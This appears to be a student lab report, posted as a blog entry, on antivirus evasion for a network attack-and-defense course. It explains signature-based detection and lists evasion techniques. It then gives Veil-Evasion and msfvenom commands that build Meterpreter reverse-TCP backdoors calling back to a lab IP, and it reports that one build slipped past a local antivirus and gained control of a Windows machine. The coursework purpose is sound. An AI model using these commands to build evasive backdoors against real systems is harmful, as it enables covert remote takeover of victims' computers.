20145217《网络对抗》 免杀原理与实践

20145217《网络对抗》 免杀原理与实践

知识点学习总结

一、杀毒原理

  • 通常,一个病毒防御工作者拿到一个截获或上报上来的病毒时,先是分析这个病毒文件执行后的动作,所谓“动作”,就是指病毒文件执行后会做哪些操作。例如会生成什么新文件、怎样更改注册表、怎样注册服务、打开什么端口等等。
  • 搞明白这些后,下一步一般会研究这个病毒的文件结构,然后找出与众不同的地方,将其定义为特征码。而这个特征码定义的高明与否,就要看他定义的位置是否刁钻。
  • 当特征码定义出来之后,就会被提交到另外的一个部门,然后进入病毒定义库,当用户更新后,以后杀毒软件在碰到符合要求的文件时就会将其毫不忧郁的杀掉!也就是说,杀毒软件只认特征码,不认文件。

二、常见免杀方法

  • 修改字符特征:主动查找可能的特征码,包括木马文件修改注册表、生成新文件的名称与路径、注入的进程名等动作,也包括运行过程中可能出现或一定会出现的字符等文件特征。然后找出这些字符,并将其修改。
  • 修改输入表:查找此文件的输入表函数名(API Name),并将其移位。
  • 打乱文件结构:利用跳转(JMP),打乱文件原有结构。
  • 修改入口点:将文件的入口点加1。
  • 修改特征码:用一些工具找出特征码并针对特征码做免杀处理。
  • Vmprotect:使用Vmprotect加密区段。
  • 文件加壳:可以用一些比较生僻的壳对木马文件进行保护。

实验过程概述

一、Veil-Evasion免杀平台

  • Veil-Evasion安装方法:sudo apt-get install veil-evasion

  • 启动veil-evasion后,根据menu的提示依次键入以下指令,最终会生成一个名称为veil5217.exe的可执行文件:

    use python/meterpreter/rev_tcp //设置payload
    set LHOST 192.168.150.132 //设置反弹连接IP
    set LPORT 443 //设置反弹端口443
    generate //生成
    veil5217 //程序名
    1

过程中的部分截图:

(生成后的各种信息,以及不要告诉警察叔叔的程序员幽默)

(文件在system里面)

查杀结果:

二、C语言调用Shellcode

1.输入指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.132 LPORT=443 -f c >c5217.c获得机器码。

  • LHOST:攻击机IP
  • LPORT:反弹连接端口
  • c:生成一个c语言格式的Shellcode数组
  • c5217.c:储存到文件中

2.编译c文件

3.查杀结果

三、进一步改进c文件

1.windows下用编译器编写c文件,修改如下:

2.编译后查杀:

  • 骗过了本机的360:

  • virscan结果:

四、电脑实测

msf打开监听,将端口号修改为443,跟后门一致。windows运行后门成功获得权限。

posted @ 2017-03-21 14:14  joke-bright  阅读(275)  评论(0编辑  收藏  举报